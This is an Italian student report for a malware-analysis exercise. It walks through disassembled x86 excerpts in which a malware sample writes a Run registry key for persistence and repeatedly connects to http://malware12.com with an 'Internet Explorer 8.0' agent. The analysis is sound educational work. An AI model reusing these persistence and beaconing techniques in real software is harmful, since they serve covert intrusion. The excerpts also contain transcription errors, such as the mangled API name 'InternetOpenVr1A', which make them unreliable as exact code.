S11 L1

Report Esercizio Malware Analysis

GiuliaSalani

INDICE

TRACCIA

Con riferimento agli estratti di un malware reale […], rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite;
- Identificare il client software utilizzato dal malware per la connessione ad Internet;
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
push    2                           ; samDesired
push    eax                         ; ulOptions
push    offset SubKey               ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE          ; hKey
call    esi ; RegOpenKeyExW
test    eax, eax
jnz     short loc_4028C5
        loc_402882:
lea     ecx, [esp+424h+Data]
push    ecx                         ; lpString
mov     bl, 1
call    ds:lstrlenW
lea     edx, [eax+eax+2]
push    edx                         ; cbData
mov     edx, [esp+428h+hKey]
lea     eax, [esp+428h+Data]
push    eax                         ; lpData
push    1                           ; dwType
push    0                           ; Reserved
lea     ecx, [esp+434h+ValueName]
push    ecx                         ; lpValueName
push    edx                         ; hKey
call    ds:RegSetValueExW
```

```
; DWORD __stdcall StartAddress(LPVOID)
StartAddress    proc    near                ; DATA XREF: sub_401040+EC↑o
                push    esi
                push    edi
                push    0                   ; dwFlags
                push    0                   ; lpszProxyBypass
                push    0                   ; lpszProxy
                push    1                   ; dwAccessType
                push    offset szAgent      ; "Internet Explorer 8.0"
                call    ds:InternetOpenA
                mov     edi, ds:InternetOpenVr1A
                mov     esi, eax
loc_40116D                                  ; CODE XREF: StartAddress+30↓j
                push    0                   ; dwContext
                push    80000000h           ; dwFlags
                push    0                   ; dwHeadersLength
                push    0                   lpszHeaders
                push    offset szUrl        ; "http://malware12.com
```

```
                push    esi                             ; hInternet
                call    edi ; InternetOpenVr1A
                jmp     Short loc_40116D
                call
StartAddress    endp
```

SVOLGIMENTO

1. PERSISTENZA

Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite:

La risposta al primo quesito della consegna risiede nel primo estratto di codice. Qui possiamo notare due principali funzioni richiamate (evidenziate in arancione scuro nella tabella), dove il comando per chiamarle è "call";

1. RegOpenKeyExW: con questa funzione, il malware accede alla chiave di registro;
2. ds:RegSetValueExW: con questa funzione, il malware modifica il valore del registro e aggiunge una nuova entry; così da ottenere la persistenza all'avvio del sistema operativo;

Entrambe le funzioni sono precedute dal caricamento dei parametri (vengono caricati con un "push"). Questi sono evidenziati in arancione più chiaro.

La riga "push HKEY_LOCAL_MACHINE", in particolare, aggiunge il valore numerico associato a HKEY_LOCAL_MACHINE nello stack. HKEY_LOCAL_MACHINE è un identificatore per la chiave del Registro di sistema di Windows che contiene configurazioni specifiche della macchina.

Quindi, questa istruzione sta preparando il parametro hKey per la chiamata successiva alla funzione RegOpenKeyExW, indicando che la chiave del Registro che il codice intende aprire o creare è HKEY_LOCAL_MACHINE.

In termini più generali, push HKEY_LOCAL_MACHINE sta mettendo il valore specifico della chiave del Registro (HKEY_LOCAL_MACHINE) nello stack, che sarà utilizzato come parametro quando verrà chiamata la funzione RegOpenKeyExW:

```
push    2                       ; samDesired
push    eax                     ; ulOptions
push    offset SubKey           ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE      ; hKey
call    esi ; RegOpenKeyExW
test    eax, eax
jnz     short loc_4028C5
        loc_402882:
lea     ecx, [esp+424h+Data]
push    ecx                     ; lpString
mov     bl, 1
call    ds:lstrlenW
lea     edx, [eax+eax+2]
push    edx                     ; cbData
mov     edx, [esp+428h+hKey]
lea     eax, [esp+428h+Data]
push    eax                     ; lpData
push    1                       ; dwType
push    0                       ; Reserved
lea     ecx, [esp+434h+ValueName]
push    ecx                     ; lpValueName
push    edx                     ; hKey
```

```
call        ds:RegSetValueExW
```

2. CLIENT SOFTWARE

Identificare il client software utilizzato dal malware per la connessione ad Internet

Questa informazione la possiamo ricavare dal secondo segmento di codice (evidenziata in azzurro):

```
; DWORD __stdcall StartAddress(LPVOID)
StartAddress    proc    near                ; DATA XREF: sub_401040+EC↑o
                push    esi
                push    edi
                push    0                   ; dwFlags
                push    0                   ; lpszProxyBypass
                push    0                   ; lpszProxy
                push    1                   ; dwAccessType
                push    offset szAgent      ; "Internet Explorer 8.0"
                call    ds:InternetOpenA
                mov     edi, ds:InternetOpenVr1A
                mov     esi, eax
loc_40116D                                  ; CODE XREF: StartAddress+30↓j
                push    0                   ; dwContext
                push    80000000h           ; dwFlags
                push    0                   ; dwHeadersLength
                push    0                   lpszHeaders
                push    offset szUrl        ; "http://malware12.com
                push    esi                 ; hInternet
                call    edi ; InternetOpenVr1A
                jmp     Short loc_40116D
                call
StartAddress    endp
```

3. URL E CHIAMATA

Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

Anche queste due informazioni risiedono nel secondo segmento di codice. L'url è evidenziato in azzurro e la chiamata di funzione che permette al malware di connettersi in arancione. In effetti sembra proprio che l'url sia un parametro della funzione, caricato subito prima della chiamata:

```
; DWORD __stdcall StartAddress(LPVOID)
StartAddress    proc    near                ; DATA XREF: sub_401040+EC↑o
                push    esi
                push    edi
                push    0                   ; dwFlags
                push    0                   ; lpszProxyBypass
                push    0                   ; lpszProxy
                push    1                   ; dwAccessType
                push    offset szAgent      ; "Internet Explorer 8.0"
```

```
                call    ds:InternetOpenA
                mov     edi, ds:InternetOpenVr1A
                mov     esi, eax
loc_40116D                                      ; CODE XREF: StartAddress+30↓j
                push    0                       ; dwContext
                push    80000000h               ; dwFlags
                push    0                       ; dwHeadersLength
                push    0                       lpszHeaders
                push    offset szUrl            ; "http://malware12.com
                push    esi                     ; hInternet
                call    edi ; InternetOpenVr1A
                jmp     Short loc_40116D
                call
StartAddress    endp
```

CONSIDERAZIONE FINALI

Le due porzioni di codice eseguono attività diversa.

La prima porzione si occupa dell'apertura del Registro di sistema e della scrittura di un valore per garantire la persistenza del malware; la seconda porzione, invece, si concentra sull'apertura di una connessione a un server remoto.